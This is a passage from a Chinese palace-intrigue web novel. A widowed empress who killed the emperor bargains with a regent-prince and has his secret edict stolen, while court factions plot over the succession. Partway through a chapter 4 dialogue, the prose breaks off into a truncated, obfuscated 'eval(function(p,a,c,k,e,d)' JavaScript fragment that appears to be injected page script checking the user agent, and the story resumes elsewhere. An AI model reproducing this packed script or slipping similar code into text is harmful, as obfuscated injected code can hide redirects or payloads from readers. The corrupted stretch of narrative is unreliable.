那日一早,谢洵舟便带着悉心准备许久的聘礼登门,向玉忠节提亲,想娶玉扶疏做延陵王妃。他礼数周全的上门提亲,遭到了玉忠节的拒绝,玉忠节说皇帝不久就会下召,迎娶玉扶疏,入中宫,做皇后。 谢洵舟深知自己皇兄为人,也知道玉扶疏不过是继后人选之一,并非谢池渊心中首选,这世上,最想玉扶疏做皇后的,唯有玉忠节。 玉扶疏当日夜里从玉府偷偷跑出来见他。 谢洵舟想玉扶疏定是知道了她父亲拒亲的消息,跑来与他商量对策,他带着写好的奏折,出门迎她,他走得又急又快,最后跑起来,她们在庭院池塘上的石桥相遇。 他跑得急,见了她,本有许多话要说,却是先忍不住将她拥在怀里,他安慰她:“阿扶,你放心,我已写好奏折请皇兄赐婚,我揣度皇兄心思,他未必想你进宫。” 谢洵舟至今还记得,玉扶疏原本紧绷的小脸,瞬间神色大变,她挣脱开他的怀抱,夺过他手里的奏折,丢进池塘里,她又急又气,朝他道:“你不许这么做!” 当年,是她负了他。 他怨她也好,恨她也好,报复她也好,终是她愧对他在先。 玉扶疏低下头,秀致的蛾眉蹙起浅浅的弧度,嗓音艰难干涩,“王爷若一定要替兄长报仇,就动手吧,我宁愿死在你的剑下。” 谢洵舟闻言冷笑,捏住玉扶疏的下巴,迫她抬头,很多年前,她也是这样闭着双眸,素面如花,可那时她简单单纯,现在的玉扶疏,陌生地让他恍惚。 谢洵舟至今也震惊,当他捡回赵长侍一条命,赵长侍开口告知他弑君凶手是谁时,他克制不住的心跳和抗拒。 他相信玉扶疏争风吃醋,相信玉扶疏爱慕虚荣,也相信玉扶疏更爱皇后宝座而不是他,可他不敢相信,她亲手杀了谢池渊。 谢洵舟垂眸睥睨着眼前人:“你倒乖觉,知道自己必死无疑,竟不打算替自己辩解?” 玉扶疏长睫颤动,像蝴蝶展开翅膀,慢慢睁开眼,眼底含着一汪清润的水:“我若是说,我是被逼迫至此,我别无选择,王爷会放过我吗?” 自得知谢池渊暴毙,谢洵舟便派人暗中调查,果然如他怀疑,是玉忠节动的手。谢池渊太急了,妄图用刺杀除掉玉忠节,逼得他狗急跳墙,反而害了自己的命。可谢洵舟没料到,玉忠节如此狠毒,竟让自己的亲生女儿去沾血,偏偏玉扶疏,入宫六年,心智毫无长进,就这样成了玉氏的替死鬼。 谢洵舟眯眸:“所以你就选择了玉氏,杀了你的丈夫。” 丈夫?这词玉扶疏听起来真刺耳,又格外的可笑。自然,外人谁又知晓,谢池渊禽兽不如。 玉扶疏:“逼我如此的人,不止玉氏,还有先帝,你的皇兄。若我告诉王爷,他该死呢?” 谢洵舟闻言沉默,忽而道:“本王听闻玉后入宫六年,至今无子。” 玉扶疏轻笑:“那王爷必定也听说了,本宫不仅无子,且受皇帝厌弃,凤栖殿犹如冷宫。” 谢洵舟望着玉扶疏寂落的眼眸,毫无怜悯:“这难道不是你自己选的路么?” 玉扶疏无言以对,苦笑道:“王爷若愿意高抬贵手放过阿扶,阿扶也会投桃报李,如王爷所愿。” 谢洵舟:“本王所愿?” “先帝生前最后见的人是我,我可以替王爷开口,就说先帝留下口谕,让延陵王摄政,辅佐新帝治理大商江山。” 谢洵舟的指腹因常年执剑而磨出一层薄薄的茧,他轻轻摩挲着玉扶疏凝脂般细腻的肌肤,磨得久了,那片肌肤变生了红。 谢洵舟眼眸浮起冷笑,“玉后在王府苦等,原来是惦记本王手中的密诏。”他揶揄着玉扶疏:“死到临头,竟然还有心思在本王面前耍你的小聪明,你当真觉得,本王不会杀你?” 玉扶疏的心思一下子就被谢洵舟戳破。 玉忠节的确派她前来打探,但玉忠节还在妄想谢洵舟顾念旧情,让她来示好,拖延谢洵舟不去调查先帝暴毙。比起玉忠节,反倒是她更想知道,谢洵舟手里究竟有没有密诏。 他若有,便是名正言顺的摄政王,那她很难再有机会垂帘听政当摄政太后了。 前朝本就没有女人的位置,那些迂腐朝臣会用礼法层层阻碍,她爹玉忠节也不可能放任她脱离掌控,如今玉忠节又有了废长立幼之心,太子能否顺利继位,还是未知数。 玉扶疏虽被戳破,可面色不改,望着谢洵舟,神色诚恳:“无论王爷信不信,今日前来只为提醒王爷多加提防,就像很多年前,王爷提醒我那般,王爷可还记得阿扶出嫁那晚……” “够了。”谢洵舟沉声打断,掐在玉扶疏下巴的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玉忠节想废长立幼,他在朝上呼风唤雨的本事自不必说,假如谢洵舟对玉忠节废长立幼态度绥靖,而玉忠节投桃报李,也全了谢洵舟摄政王之实,让他在朝堂上稍占一席之位。俩人一旦合作,太子必废无疑,那她多年筹谋,就将满盘皆输。 她仍旧可以做太后,但依旧只能是那个听话的吉祥摆设。一旦她脱离掌控,或流露反叛之心,她爹玉忠节,就会以孝理的名义,让小皇帝立出身寒微,毫无根基的生母为太后,届时她么,大概会因思念先帝不能自已而殉情了。 玉扶疏不敢想,到那时太史大人会写得多么精彩,玉家出了个如此忠孝节义的烈女,当真要流芳百代。 玉扶疏指尖压住突突直跳的太阳穴,她受够了身不由己的滋味,天下如棋局,她是棋盘上刚刚摆脱控制的一枚棋子,对弈至此,她宁可掉出棋盘摔得粉碎,也绝不愿再回到,被人捏于两指间,随意摆弄的境地。 谢洵舟捏了她的把柄,若想与他抗衡,那就只有也捏住他的把柄。 “拭雪,回宫后你立刻去郎卫署,寻羽林左监——顾流川。告诉他,刚入京的延陵王手中有一份先帝密诏,让他找机会替我把诏书偷出来。” 5. 第 5 章 玉扶疏刚回到凤栖殿,下人传禀,她母亲身边的周管事进宫了,已在偏殿等候一阵子了。 玉扶疏召周管事进寝殿回话。 周管事手提食盒,交代来意:“夫人亲手炖的雪蛤酥酪,健脾和胃,用这个解酒是最好的。” 玉扶疏:“是相国交代的?” 周管事迟疑:“不,不是,相国大人只是跟夫人提了一句,夫人知晓娘娘有宴请,怕您饮酒伤身,特炖了补品,命奴婢送来。” 玉扶疏示意冰云接下食盒,又命她去准备纸笔,才对周管事道:“你来得可巧,本宫正好有封信要给相国大人。” 玉扶疏起身走向书案,冰云已铺好镇纸,正添水研磨。 玉扶疏落坐,扫了眼一旁翘首期盼的周管事,心下冷笑。 她父亲玉忠节可当真是没把她放在眼里。 派人来侧面打探,也不选个高明些的借口,挑个机灵点的人物。 说到底,是既不信任她,又瞧不上她。 玉忠节明知谢洵舟拒绝了宴请,且她出宫去了延陵王府,却故意装作不知。她问过下人,延陵王离宫没多久,周管事就进宫了。这时间选得好,若延陵王归府后,她很快归来,必是和谢洵舟不欢而散,也就能估测出谢洵舟的态度,若她回来的很迟,就又是另一番算计猜测了。 无论如何,足可见玉忠节对谢洵舟的重视,现下京城局势,也逼迫着玉忠节尽快对谢洵舟是敌是友做个决断。 玉扶疏执笔舔墨,在纸上快速写下: 谢洵舟今时不同往日,全然不把本宫和玉氏放在眼里,短短一面,他一心猜忌先帝之死,缕缕逼问本宫,认定延医用药有误,才致先帝壮年崩逝。如父亲之前所言,谢洵舟记恨玉氏,记恨本宫,实乃心胸狭窄的小人。父亲定要做万全准备,防备谢洵舟向我们突然发难。 玉扶疏绝不能容许玉忠节与谢洵舟联手,只有尽力逼得他二人反目,她才有机可乘。 玉扶疏将信装好密封,交给周管事,周管事接了帖子却没走,她试探道。 “二小姐喜得麟儿,夫人的意思,希望皇后娘娘多赐封赏,一来讨吉利,再有二小姐在夫家面前也有光。” 玉扶疏掀开食盒,拿出里面的汤盅,雪蛤酥酪已冷得彻底,她放在鼻子下闻了闻,有些腥气。 “先帝崩逝,大行封赏不合时宜。” 周管事抢言:“夫人也交代过奴婢,金银器物侯府不缺,只是二小姐的诰命已拖了很多年,先帝曾许诺过,最终也没能成。只盼新帝登基,太后娘娘亲赐二小姐诰命夫人,那才是姐妹情深的荣耀呢。” 玉扶疏勾了勾唇,放下汤盅,静静看着周管事。 周管事抬眼撞见玉扶疏淡漠的神色,顿时反应过来,忙赔笑行礼,快速退去。 玉扶疏歪头支颐,望着那盅冷腥的甜汤出了神。 那是三年一度的百花宴,皇帝设宴,邀群臣与家眷进宫赏花。 玉扶疏那时已认识谢洵舟许久,从秋狝第一次照面,往后京中的宴请,游园会,诗社,但凡她出席,总能见到他的影子,她没问过他的姓氏出身,只猜他是某个小官家的公子,她张口也不叫他的名字,只唤她给他起的绰号,‘船’亦或是‘那条船’。 谢洵舟也不恼,欣然接受了她的称呼,也欣然接受了她偶尔的大呼小喝,玉扶疏更笃定了他出身不高,否则怎肯忍受她的驱遣。 直到那年百花宴,她看见谢洵舟坐在皇帝身边,身着亲王才能穿的衮龙服,才知他竟是个王爷。 她垫脚想折树上的花枝,却碍于身量,任由她蹦蹦跳跳也摘不到,试了几次,倒是把花朵揪下来不少,花瓣易碎,沾了她满手。 谢洵舟不知何时出现在她身后,抬手一折,轻轻松松取下她想要的花枝。 玉扶疏才刚知晓他的身份,一照面不由别扭起来,她瞥了眼他衣服上的锦云龙纹,按礼制,她应该向谢洵舟行礼请安,可她却仰着下巴,一副不肯示弱的模样,“你原来还是个王爷呢?” 谢洵舟勾了勾唇,笑而不语,把花枝递给玉扶疏。 玉扶疏拿走花枝,在手里把玩,“既是王爷,干嘛一直让我把你当小厮使唤?” 谢洵舟听了挑眉,摆出一副被强势所逼的样子:“谁让玉小姐够跋扈呢?我若真是个小门小户家的男郎,只怕要被你欺负死。” 玉扶疏最讨厌别人说她跋扈,立时美目一瞪,“是你先来招惹我的,是你自己要隐瞒身份的,是你自找的,”她一个劲的指责他,最后轻哼一声:“你若早说你是王爷,兴许你还能欺负欺负我呢。” 谢洵舟抱臂,好整以暇的望着玉扶疏,听她数落完自己,才悠悠道:“本王可不敢欺负玉姑娘。” 玉扶疏轻啧一声,摇头晃脑地学着谢洵舟的语气:“本王,本王可不敢。”她冷哼道:“你架子端得倒快。” 谢洵舟正要开口,忽而被玉扶疏捂住嘴巴,微风拂过,他闻到她衣袖间的香气,夹杂着花香扑鼻而来,她细腻且带着几分潮湿的掌心结实的压在他的嘴唇上。 谢洵舟一怔,玉扶疏对着他比了个‘嘘’的手势,然后她侧耳贴近宫殿后门上的窗子,小脸渐渐变了颜色。 谢洵舟也听到殿内传出的一男一女的说话声,见玉扶疏脸色愈发不对劲,戳了戳她压在他嘴巴上的手。 玉扶疏被谢洵舟这一提醒,才后知后觉,意识到此举过于亲密,忙撤回手,掌心不自在地蜷起来。 谢洵舟亦觉得嘴巴痒,又像有什么东西刺着,酥酥麻麻的,他下意识舔了一下嘴唇。 玉扶疏看在眼里,耳朵立时变红,竟一时忘了自己的“正事”,还是被谢洵舟提醒。 “你躲在这原来不是为了摘花。”谢洵舟听到殿内传出的李千帆和玉扶音的声音,挑了挑眉:“原来是为了偷听。” “是捉奸!我要看看玉扶音这个贱人是怎么勾引我的未婚夫的。”玉扶疏被谢洵舟戳破,但不甘示弱,“那你呢?你又来这干吗?” 谢洵舟听得玉扶疏口中‘未婚夫’三个字,眸色深了几分:“本王路过。” “不过,听你这么一说,本王也很想听听。” 玉扶疏赶不走谢洵舟,又怕惊动了里面,只能留下他一起听,听了盏茶的功夫,玉扶疏俏脸已经气的铁青,这对狗男女,背着她偷情就罢了,偏偏凑在一起就不停说她的坏话,玉扶音恨不得把她从生下来至今的所有糗事都宣扬出来,还不停的添油加醋。 玉扶疏扔了手里的花枝,“我要进去撕了这个贱人!” 谢洵舟把人拽住,提醒:“他们是两个人,挨打的只能是你。” 玉扶疏反手抓住谢洵舟的衣袖,拽着他就要向里面冲:“你跟我一起上。” 谢洵舟稳稳伫立在原地,无论玉扶疏怎样拉拽,脚下纹丝不动。 “本王不尚武力。” 玉扶疏被玉扶音气的七窍生烟,见谢洵舟不帮忙,用力挣脱他的手:“那你别拦着我。” 谢洵舟正色道:“想报复他们,有一万种法子。” 玉扶疏挣脱不开,闻言催促:“有什么法子,你说!” 谢洵舟却反问:“但你确定要为了这样的两个人,脏自己的手吗?” 玉扶疏此时哪有耐心听谢洵舟的劝告,她只想冲进去抽玉扶音几个耳光,偏偏被谢洵舟拴住,急得她恨不能踢谢洵舟几脚,若平常,玉扶疏可能已经毫不留情的踢上去了,但如今知道了谢洵舟的身份,她不免还是有点忌惮。 “你别拦着我,我还是现在就去撕了他们才好。” 谢洵舟叹了声:“本王让家丁把李千帆揍一顿,你觉得如何?” 玉扶疏闻言倒冷静了几分,她想了想,“嗯,那你可得轻点,我以后要嫁给他的,破相了多难看啊,缺胳膊缺腿也不好。” 谢洵舟无奈:“那你妹妹呢?本王也派几个婢女,打她一顿?” 玉扶疏反应极快,“好好好,一定给我好好抽她的大嘴巴!” “玉扶疏,你可真是……” 谢洵舟被玉扶疏气的不轻,他用力拉着她的手臂,不由分说的把她拽走。 玉扶疏不肯走,却拗不过谢洵舟的力气,踉踉跄跄的被他拉着离开。 谢洵舟握紧玉扶疏的手,他轻车熟路,挑的都是僻静无人的小路,七拐八绕,最后带着玉扶疏走到宫里的大梅树园子,这里僻静,园内有座牡丹亭,亭前是大梅树,树下是一丛一丛的荼蘼花,合得是戏文本子游园惊梦的景。 这时期荼蘼盛放,清香满园。 这样一路走来,玉扶疏冷静不少,可一想象玉扶音正绘声绘色的在李千帆面前编排自己,再一看阻拦自己的谢洵舟,气就不打一处来。 玉扶疏甩开谢洵舟的手,凶他:“多管闲事!” 谢洵舟神色严肃了几分:“你当真喜欢李千帆吗?” 玉扶疏不假思索:“当然了,他是我的。” 谢洵舟蹙眉:“那你爱他么?” 玉扶疏本想点头,可一见谢洵舟严肃的模样,不由一顿。自相识,她还没见过他像这般冷着脸色,仔细一想他的问题,却也想不清楚,可她知道,李千帆是父亲许给她的未婚夫,是指腹为婚的娃娃亲。 玉扶疏认真道:“他是我的!” 谢洵舟冷哼一声,“你根本不懂什么是喜欢,什么是爱,你只知道肤浅的争风吃醋。” 玉扶疏忍着气:“别以为你是王爷,就可以教训我!你皇兄都不会教训我!” 谢洵舟:“你在我皇兄眼里,不过是玉相国家的一个小丫头罢了,他哪有心思多看你一眼?” 他见她紧绷着俏脸,闷气地咬着嘴唇,脸颊气的似乎涂了层厚厚的胭脂。 谢洵舟叹了声,好声好气道:“何苦为了不值得的人脏了 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玉扶疏看着逼近自己的谢洵舟:“你…你想干什么?” 谢洵舟挑眉,戏弄她:“你说呢?” 玉扶疏抬手推谢洵舟的胸膛,控制着他与自己的距离:“君子动口不动手!” 谢洵舟双手撑在玉扶疏身后的石柱上,低头反问怀里的人:“那你是小人了?” 玉扶疏动了动嘴唇,不肯吭声。 谢洵舟发觉玉扶疏这人真怪,凶起来毫无矜持可言,骄傲起来又像只不服输的孔雀。 玉扶疏盯着谢洵舟,心一狠,用力跺脚,踩在谢洵舟干净的鞋面上,趁他吃痛,推开他的手臂,从他的怀里逃跑。 谢洵舟被玉扶疏这一袭击,倒吸一口气,转身望着玉扶疏落荒而逃的背影,她跑得踉踉跄跄,半途还踩中了自己的裙摆,险些栽倒。 谢洵舟轻笑出声。 玉扶疏自然不知道自己落荒而逃的样子多滑稽,只知她从此记恨上谢洵舟,现在想来,她当时确实愚蠢,没听他的好言相劝,以致后来惹出许多祸事,吃亏的人是她,而李千帆和玉扶音,到底是有情人终成眷属了。 玉扶疏拿起勺子,搅着汤盅里的酥酪,玉扶音早些年只得了一个女儿,如今生下麟儿,也有了儿女双全的福分。 玉扶疏看向窗外,入夜的凤栖殿,静的可听见花落的声音。 翌日,玉扶疏早起前往仙台殿,正值暑夏,仙台殿外为谢池渊守灵的群臣与后妃皇子们艰苦不已,短短一日间,众人消瘦萎靡不少。 玉扶疏看着殿外殿内跪了一地密密麻麻的白影,不由觉得讽刺。 谢池渊这等残暴之辈,死后竟然可以享受这般哀荣,真是天道不公。 玉扶疏入内殿,环视一周,皇室宗亲、后妃嫔御皆在,两位皇子和公主们也在,不过未见谢洵舟的身影。 玉扶疏转身,看到一侧耳房的窗开着,玉庭风正站在窗内,示意她前去。 玉扶疏走过去,隔着空窗:“父亲怎么没来?” 玉庭风:“昨夜接了你的信,父亲便把自己关在书房,听说寅时才睡,留了帖子,让我进宫。” 玉扶疏:“什么帖子?” 玉庭风从衣袖间拿出拜帖,语气不爽:“给谢洵舟的。” 玉扶疏拿过帖子打开看,发觉玉忠节还是要约谢洵舟在茶楼碰面。 玉庭风:“你说父亲大人是不是人老了,脾气也软了?谢洵舟如此蹬鼻子上脸,父亲竟然还想亲自跟他见面商谈,有什么可谈的!京畿四营,全都是玉氏的人,还打不过谢洵舟几万兵马?就应该先发制人斩了他!” 玉扶疏合上奏折,还给玉庭风。 玉忠节毕竟不似玉庭风年轻沉不住气,能把持朝野数度春秋,心机深沉是必然,甚至哪怕逼死了谢池渊,玉忠节还能在朝野岿然不动,自有他的本事和手段。 单这处事远虑一项,就够玉庭风学上半辈子。 玉忠节不到万不得已,绝不会选择与谢洵舟兵戎相见,这对他来说风险太大。 谢洵舟呢,带兵而归,手握密诏,并大肆宣扬,摆明了要当摄政王,要入主朝堂,他不想交恶,那就一定是想交易。 玉扶疏知道,一旦玉忠节和谢洵舟在茶楼碰了面,那太子被废不过就是时间问题。 玉扶疏:“我看帖子,父亲明日就要见谢洵舟?” 玉庭风无奈叹了声:“可不是,父亲不听我言,还命我早早的进宫,结果这谢洵舟呢?现在还没到。” 玉扶疏思绪翻飞:“阿弟若等着疲累,不如我帮你送帖给谢洵舟?” 玉扶疏话音方落,殿外响起一连串沉重的脚步声,回身一看,谢洵舟带着数名戎装侍卫走入大殿。 6. 第 6 章 玉扶疏转身走到素白色帷幔后,暗暗观察着。 玉庭风神色倨傲的找上谢洵舟,先是一番言语,然后递上拜帖,谢洵舟不露声色,但熟悉他的人,能看出他眼底的厌烦,他接过帖子快速看完,似乎点头应允。 玉扶疏通过一侧耳房离开大殿。 谢洵舟转头,风吹着帷幔飘摇,那后面空荡荡的,方才余光瞥见的人影已经不见了,谢洵舟收回视线,举步往灵前走去。 玉扶疏在宫廷僻静处的一角四方亭内等候,这是她精心挑选地方,可以避开宫内玉忠节或是其他人的眼线。 不久,顾流川应召而来,俯身恭敬行礼,继而关切道:“夏暑毒热,娘娘身体可还安泰?” 玉扶疏一袭缟素,在盛夏的御花园中,清丽如一汪泉水,融进姹紫嫣红里,风吹花动,也鼓动着衣袂飘飘。 “明日未时,延陵王会离府,你找准时机,帮本宫把密诏偷出来。” 顾流川望着玉扶疏,他生得白净,没有武将的粗犷,眼神温柔如水:“娘娘放心,臣必不辱使命。” 玉扶疏当夜又召见了萧妃和太子。 来人只有萧妃,她小心谨慎,一声大气不敢出。 玉扶疏看在眼里:“太子怎么没来?” 短短两日,萧妃形容消瘦,像支枯萎的花,她闻言连忙请罪,接着解释道:“太子病了,吃过御医的药,娘娘召见时,已经睡下。” 玉扶疏请萧妃落坐:“太子忠孝,在先帝灵前跪了一整日,可到底是才十岁的孩子,哪经得住这般折腾。” 萧妃闻言惊诧,她坐在下首,不敢仰头,只抬着眼,暗暗打量凤位上的玉扶疏:“多谢皇后娘娘体谅。” 玉扶疏虽未给谢池渊守灵,但也在灵堂留了眼线,听闻今日玉忠节突然当着群臣与后妃的面,将小皇子从席位上抱出来,越过太子,将他安置在最靠近谢池渊灵柩的位置,居正首。 虽然玉忠节当时一句话也没说,可他这举动,无疑是告诉众人,他要废太子,另立新君。 也难怪太子会病倒,萧妃一日间好像老了十岁。 玉扶疏:“听宫人说,昨日你与太子来寻过本宫,萧妃,你有何事啊?” 玉扶疏打量萧妃,将她的惶恐无措悉数看在眼里,她瘦削的身体仿若根绷紧的琴弦,在空气里震颤着,一受力便要瞬间崩碎个四分五裂。 萧妃脸色惨白,干裂的嘴唇没有一丁点血色,她颤抖着,说不出话。 玉扶疏见状:“拭雪告诉本宫,当时相国与国舅在。妹妹,本宫代他们向你道歉,还望你看在我的面子上,不要怪罪他二人。” 玉扶疏话落,萧妃再也支撑不住,放声大哭,她从椅子上直接摔跪在地:“皇后娘娘,妾身求您,救救太子。” 玉扶疏命宫人退下,又劝萧妃起身,萧妃不肯,只跪在地上,哭声凄哀:“太子是不聪慧,可他毕竟是陛下的长子,又是陛下亲封的储君,娘娘,妾身求您向相国大人求情,不要废掉他,妾身…妾身愿意去死,只要妾身死了,太子有您这位嫡母,他一定会孝顺您,敬重您,听您的话……” 玉扶疏起身走下凤位,走到萧妃身前,看见她凹陷入骨的双眼里,血丝密布如麻。 玉扶疏朝萧妃伸出手:“妹妹,起来说话。” 萧妃懵怔望着玉扶疏,迟疑地颤抖地伸出手。 玉扶疏将萧妃从地上扶起来,又扶她落坐,自己也在她身旁坐下。 “白日灵堂的事,本宫已有耳闻。可是萧妃,你要知道,若想保住太子,你跪着求本宫是没有用的,搭上你的一条命也一样没用。” 萧妃闻言如遭雷击,她看着玉扶疏,麻木的眼神慢慢变得怨憎:“为什么?难道我死也不成吗?皇后,我死了,就不会有人和您争太后之位了……” 玉扶疏在萧妃怨恨的目光下倒很平静:“所以,你宁愿承受母子生离死别之痛,也要让太子继位吗?” 萧妃一怔,可很快,她决绝道:“为了我儿,我愿意死。” 玉扶疏闻言,轻笑一声,接着起身向凤位走,语气感慨万千:“本宫倒是很羡慕太子,有你这样一位深爱他,宁愿为他付出生命的母亲。不过萧妃,你好糊涂。” 玉扶疏端坐凤位,看着下首迷茫的萧妃:“你死或不死,本宫都会是唯一的太后,同样,无论新君是哪位皇子,太后之位,仍然是我玉扶疏的。萧妃妹妹,你不会以为,我父亲废长立幼,是为了阻止你和我争太后之位吧?” 萧妃表情复杂,摇摇晃晃的站起来:“皇后,你叫我来,就是为了和我炫耀,你有一个好父亲吗!” 玉扶疏苦笑摇头:“恰恰相反。” “本宫是真心想要帮你。” 京都东市,燕馆歌楼,茶坊酒肆举之数万,常日里灯火彻夜,歌吹沸天,因天子驾崩,依律禁一切宴饮歌舞,此时东市气氛寂寂,街上人马寥落。 春宴楼最顶层的雅间里,却悄悄接待了一位秘密客人。 玉庭风靠在窗边,手里攥着把葵花籽瓤,他透过窗子的缝隙向下看,只见谢洵舟一身月白色长袍,胯.下汗血宝马,他御马而来,停于茶楼门前,翻身而下,将马鞭丢给身后随从,大步流星走入茶楼。 玉庭风瞧在眼里,冷哼一声:“这延陵王威风个什么?” 玉忠节端坐茶案主位,原本闭目如老僧入定,闻言睁眼:“你到门外候着去。” 玉庭风不情愿,却也不敢违拗,抄起放在窗台上的茶盏,就着手心的葵花籽,囫囵吞枣的咽下去,走出雅间,便见谢洵舟颀长的侧影沿着楼梯登阶而上。 谢洵舟见状,也命下属江之杰留候在外,撩开门上的垂帘,走了进去。 不过一炷香的功夫,有王府侍卫从楼下跑上来,低声在江之杰耳边汇报。 江之杰本就生得一双圆目,闻信双眼瞪大,像极了画上气势凛凛的门神,他手握在剑柄上,便往雅间内闯。 玉庭风上前阻拦,被江之杰一把推开,玉庭风气极,追进去骂道:“谢洵舟,你延陵王府还有没有规矩?” 谢洵舟蹙眉,问江之杰:“何事?” 江之杰半跪在谢洵舟身侧,附耳低声:“王爷,府里进贼了,在您的书房逮到,应该是冲着密诏去的。” 谢洵舟抬眼看向对面端坐的玉忠节,随即命江之杰退下。 玉忠节也拦住要说话的玉庭风:“到外面去。” 玉庭风咬牙,恨恨看了眼岿然不动,执盏饮茶的谢洵舟,拂袖而去。 经了这一番插曲,敏锐如玉忠节,自然察觉到谢洵舟态度有变,可心底一时摸不准究竟出了什么枝节。 谢洵舟亦审视着对面的玉忠节,他年愈六十,仍旧神采奕奕,丝毫不见老态龙钟之感。 谢洵舟知道,这个贼人多半就是玉忠节派去的,是他的调虎离山之计,玉忠节表面与他商谈交易,真正目的却是想釜底抽薪,偷了诏书再治他个假传圣旨的罪名。 谢洵舟一早便知,他与玉忠节之间,最终只会是你死我亡两种结局,不过他没想到,玉忠节如此急不可耐,难道玉忠节当真这般有信心,觉得朝廷和军队都被他万无一失的掌控了? 谢洵舟思虑着,有意试探:“相国大人方才问本王,久未归京有何不适应,本王突然想到,王府空寂多年,府门上的锁具确有些生锈了。” 玉忠节拿不准谢洵舟的意思,便顺着他的话:“既如此,不如老夫赠与王爷一套新锁,您看如何?” 谢洵舟勾了勾唇,起身告辞:“那便多谢了。” 谢洵舟离去,玉忠节把玉庭风叫进来,询问外面的事。 玉 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另一人拦住老陈:“王爷,依属下看,此时审贼已无意义,玉忠节既无心与王爷讲和,那必然要为敌,他派人偷诏不成,只恐兴兵来犯,王爷应当尽快部署兵马,进可攻城,退可守。” 说话这人,姓沈名停云,说话文绉绉,生得也是副书生面孔,站在一众将官队伍里,不免显得有几分文弱,可他本人,确是个领兵打仗的好手。 谢洵舟看向沈停云,欣慰点头,其余将官听了这番分析,一个个也都回过神来。 谢洵舟走到沙盘前,有条不紊的排兵布阵。 在同龄的王公贵族子弟都软手软脚的腻在温柔乡里时,谢洵舟在战场上摸爬滚打,见惯了沙场血雨。敌国铁骑压境,他尚且敢单刀杀入敌军拼个三进三出,虽然事情发展,已不似谢洵舟领兵进京时盘算的那么乐观,但他也毫不惧怕玉忠节要跟他鱼死网破。 “城外禁军有本王留守的兵力牵制,当务之急,是派兵驻守去往京畿大营的各个要道,一旦玉忠节有调兵行迹,先斩后奏。切断了外路,玉忠节能调遣的,也只有戍卫皇宫的禁军了,派人到邹府周围布控,若邹平有异动,先拿了邹家人做人质。王府守兵今夜枕戈待旦,附近街道派人乔装把守,一旦敌军来犯,以烟花为令。” 谢洵舟一声令下,手下将官争前恐后请命。 江之杰领了命,却没有告退,他思虑再三,向谢洵舟进言:“王爷,我们何不先发制人!属下愿为先锋!” 另一边,在宫廷丧仪声里,玉扶疏还在等待顾流川归来。 大殿庭院内,太阳晒着日晷,晷针的影子从长变短再变长,直到江河日下。 玉扶疏倚身靠在贵妃榻上,望着庭院里一点一点笼罩上来的夜色,黑玉般透亮的美目覆上一层薄雾。 拭雪端茶候在一旁:“娘娘,您这一日都没吃几口东西,奴婢让小厨房做了山楂甜羹,您可要尝尝?” 玉扶疏揉了揉突突直跳的太阳穴:“几时了?” 拭雪:“戌时末了。” 果然是到了暮色四合,更夫巡巷,戌狗守夜的时辰。 玉扶疏知道不能再等下去了,顾流川大抵是失手了。 “拭雪,你先去郎卫署,若他不在,你直接拿腰牌出宫去顾宅,若他未归家,你再去延陵王府周围走寻一趟,若这三处都无他的消息,你再回来见本宫。” 拭雪领命离去,玉扶疏独身处在静室,盘算着下一步。 拭雪失落归来已是亥正十分,一入内殿,被里面几人吓了一跳。 萧妃领着婢女前来,而玉扶疏此刻已和婢女调换衣裳,玉扶疏乔妆改扮成宫女模样。 玉扶疏一瞧拭雪神情,便知结果,执起宫灯,二话不说:“萧妃,随本宫去延陵王府。” 7. 第 7 章 玉扶疏搭乘萧妃的马车出宫。 拭雪一去后迟迟不归,玉扶疏便料到了结果。一整日过去,谢洵舟没来找她,说明顾流川没有供出她。 顾流川若受了刑还咬死不招供,谢洵舟会不会杀了他,玉扶疏拿不准,也赌不起,她必须去见谢洵舟。 但宫里眼线密布,她私下去见延陵王,一定会引起玉忠节警觉,思虑再三,唯有借用萧妃之名最妥帖。萧妃和太子被玉忠节逼到如此地步,会去求助权势赫赫的延陵王,是情理之中。 延陵王府离皇宫不远,离了宫廷,百箭之地便是王府。 至王府正门,玉扶疏上前扣门。 万物蛰伏的寂寂深夜,门内很快有人回应,声如洪钟:“何人深夜惊扰?” 玉扶疏深埋着头,掩饰嗓音:“萧妃娘娘有要事求见延陵王。” 对面一时间没了动静,许久之后,府门隐隐开了一角,里面的人探出半个肩膀,不是小厮,是行伍之人,穿甲执戟,格外警惕,朝外面扫了一圈,见只有两名女子,才让开身子,催促:“快进。” 玉扶疏手执宫灯,跟在萧妃身后,由这侍卫领着,一路到王府外院会客的正房。 “萧妃娘娘,请您在此等候,王爷忙完公务便来。”侍卫说完离去,随手关上了门。 萧妃额头布满细汗:“皇后娘娘,这法子能成吗?延陵王会帮太子吗?” 玉扶疏走到椅子前坐下,示意萧妃镇定:“你也坐。” 玉扶疏和萧妃干等了一炷香的功夫,殿门被推开,谢洵舟带着江之杰走进来。 谢洵舟一身玄色锦衣,上绣纁纹,劲瘦的腰身系着白玉带,一眼望去有冕旒威仪,他生得英俊,眉宇却疏冷,让人望之生畏。 “萧妃深夜来访,有何要事?” 萧妃怯懦起身,被谢洵舟一问,更六神无主,下意识看向玉扶疏。 宫女打扮的玉扶疏缓缓抬起头,迎上谢洵舟探究的目光,将他眼底一闪而过的诧异看在眼里。 玉扶疏扫了眼候在门口的江之杰,起身走到谢洵舟身侧,贴近他的耳畔,气息如丝:“我有要事想和王爷单独相谈,王爷可否屏退左右?” 谢洵舟垂眸,玉扶疏梳着宫娥的发髻,只有两支素钗斜插入云鬓间,眉心点了一朵梨花花钿,宫女的衣领低,她雪白纤细的颈子悉数暴漏在空气里,她正歪头看着他,黑玉般的眼睛里映着烛火,浮了一层水润。 谢洵舟闻到一股浅淡的异香,他们之间的距离很近,他能清晰看清楚她长睫颤动的频率,听见她浅浅的呼吸,那幽谧的香气也越发无孔不入的钻进他的呼吸里。 谢洵舟转身,举步向外走:“随本王来。” 玉扶疏跟着谢洵舟离开。 